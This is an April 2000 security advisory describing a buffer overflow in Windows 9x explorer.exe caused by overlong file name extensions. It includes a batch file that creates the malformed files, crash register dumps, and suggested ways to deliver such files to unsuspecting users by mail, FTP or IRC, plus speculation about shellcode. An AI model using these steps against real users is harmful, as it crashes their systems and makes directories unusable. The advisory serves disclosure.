scx-sa-02.txt

`=====================================================================  
Securax-SA-02 Security Advisory  
belgian.networking.security Dutch  
=====================================================================  
Topic: Ms Windows '95?/'98/SE explorer.exe causes a buffer  
overflow with long filename extensions.  
  
Announced: 2000-04-21  
Affects: Ms Windows'95?, Ms Windows '98, Ms Windows '98 SE,   
windows millenium?.  
None affected: Ms Windows NT Server/Workstation 4.0, Ms win2K  
=====================================================================  
  
  
THE ENTIRE ADVISORY HAS BEEN BASED UPON TRIAL AND ERROR   
RESULTS. THEREFORE WE CANNOT ENSURE YOU THE INFORMATION BELOW IS   
100% CORRECT. THIS DOCUMENT IS SUBJECT TO CHANGE WITHOUT PRIOR  
NOTICE.  
  
PLEASE, IF YOU HAPPEN TO FIND MORE INFORMATION CONCERNING   
THE BUG DISCUSSED IN THIS ADVISORY, PLEASE SHARE THIS ON BUQTRAQ.   
THANK YOU,  
  
I. Background  
  
I don't know what causes explorer to crash.  
I suspect it be a buffer overflow in explorer.exe but in some cases   
i noticed other programs (that do not use explorer.exe)to crash  
too.   
I don't have the time right now to start debugging, maybe i'll do so  
next week. (if i find something usefull, i'll post an update)  
  
II. Problem Description  
  
When the Microsoft Windows explorer tries to access parsing a   
filename that contains >129 chars in the extension, a buffer  
will overflow  
  
And you will get this error:  
  
EXPLORER caused an invalid page fault in  
module <unknown> at 0000:61616161.  
Registers:  
EAX=61616161 CS=0187 EIP=61616161 EFLGS=00010246  
EBX=80070032 SS=018f ESP=01a1d8fc EBP=61616161  
ECX=c16b6f10 DS=018f ESI=01d0bd3c FS=5047  
EDX=81724974 ES=018f EDI=7fcbd320 GS=0000  
Bytes at CS:EIP:  
  
Stack dump:  
61616161 61616161 61616161 61616161 61616161 61616161 61616161   
61616161 61616161 61616161 61616161 61616161 61616161 61616161   
61616161 61616161   
  
As you can notice, the EIP was overwritten during this overflow,   
this means we can execute code from in the filename.   
  
We can use 247 + 129 + 118 bytes to store data for some shell  
code.  
  
If you add some extra special characters to the file, you can cause  
it to be recognized as write only in windows (and not found in dos)  
That way, you will not be able to remove it unless you write   
direct to the fat.  
This would make viruses invincible for AV-tools.  
  
III. Reproduction of the problem  
  
a) creating such a file:  
  
place the following code in a .bat file:   
  
---- cut here  
  
echo This will create a file that when clicked upon in windows  
echo explorer or any other program that calls explorer.exe for   
echo file management will cause a buffer overflow.  
  
dir *.* > _ . ------Buffer overflow-----------aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  
  
echo This will cause a Blue screen of death  
echo Just to show you it is possible to execute remote code.  
echo (all it does is overwrite the return adress with a false one.)  
  
dir *.* > _ . ------Blue-screen-of-death------aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa12345678AAAAAAAAAA  
  
--- cut here  
  
now run the .bat file  
  
  
b) using this bug on remote computers:  
  
  
Tested on Eudora Pro:  
You could attach the file to an e-mail and send this e-mail to  
an unsuspected computer user. When he checks his e-mail an the   
mail program attempts to save the attachement to disk, the   
program will crash cause due to a buffer overflow.  
  
EUDORA caused an invalid page fault in  
module EUDORA.EXE at 0187:00428b05.  
Registers:  
EAX=007f0394 CS=0187 EIP=00428b05 EFLGS=00010206  
EBX=00000000 SS=018f ESP=007eff88 EBP=007f0764  
ECX=006a305c DS=018f ESI=007f07a8 FS=582f  
EDX=007eff8c ES=018f EDI=8173b024 GS=0000  
Bytes at CS:EIP:  
56 50 51 52 ff 15 50 9f 63 00 8b 15 80 2c 6b 00   
Stack dump:  
  
Funny note: every time you try to access the dir where the  
attachement should have been saved, your program will crash,   
even if this program is not using explorer for it's file   
management. (In this case you don't even have to click on the  
file or move over it and wait some time, it will crash   
immediately, rendering the entire directory useless.  
  
This is what i got in Windows Commander while trying to browse the  
directory. Note: the file doesn't show up in a listing, neverthe  
less, windows commander crashes with :  
  
Application Error  
Exception EAccessViolation in module WINCMD32.EXE at 7F8B0736  
Access violation at address 7FCB1946. Read of address 00580939  
  
Scanning this dir with scandisk does not report any problems.  
  
c) uploading a file with this name to an FTP server, or place it  
some HTTP server available for download.  
  
d) DCC Sends on IRC.   
  
e) many more ?   
  
III. Impact  
  
This type of attack will allow any user local or remote with   
file creation access to run hostile code on the computer.  
(Since e-mail programs will attempt to write to disk, almost  
any windows98 user with an e-mail adress is vulnerable.)  
  
If someone writes some tiny code that will download and execute  
a remote trojan, this could cause a huge problem!.  
This could be used to gain root access to all windows computers   
Just imagine what harm someone could cause if he sends out an   
e-mail to 10.000 persons containing code to DDoS some server ?  
  
Writing such a code might be tricky, coz we are handling with a   
filename, and not all hex codes are accepted as a legal filename.  
(this could be partially circumvented by creating the filename   
with a raw write to disk.)   
  
please note that due to my exams, i don't have the time to write  
the shell code... everything stated about the executing of code   
is purely hypothetical.  
  
IV. Solution  
  
none yet.  
just don't download extremely long filenames.  
  
V. Credits  
  
Initial bug report : |ncubus -*- overflow detection + usage concepts  
+ quickly written advisory by Zoa_Chien -*- Exploit shell-code : you?  
-*- Thnx to Lamagra for testing this on NT. -*- bug by microsoft.  
  
  
Final Notes: I discovered this while working on my soon to be released  
tutorial: "Locally Hacking MS-Windows" if anyone has rare information  
on this subject, feel free to mail me.  
If any1 has a great job to offer, plies mail, i'm sick and tired of   
studying stupid things.. mmm.. that reminds me, i'd better start   
studing for my exam tomorrow morningÓ+W|~+æ|þ+éƒCARRIER LOST :-)   
  
Yours,  
  
Zoa_Chien, aka da G#df@rter. [email protected]  
  
=====================================================================  
For more information [email protected]  
Website http://www.securax.org  
Advisories/Text http://www.securax.org/pers  
---------------------------------------------------------------------  
`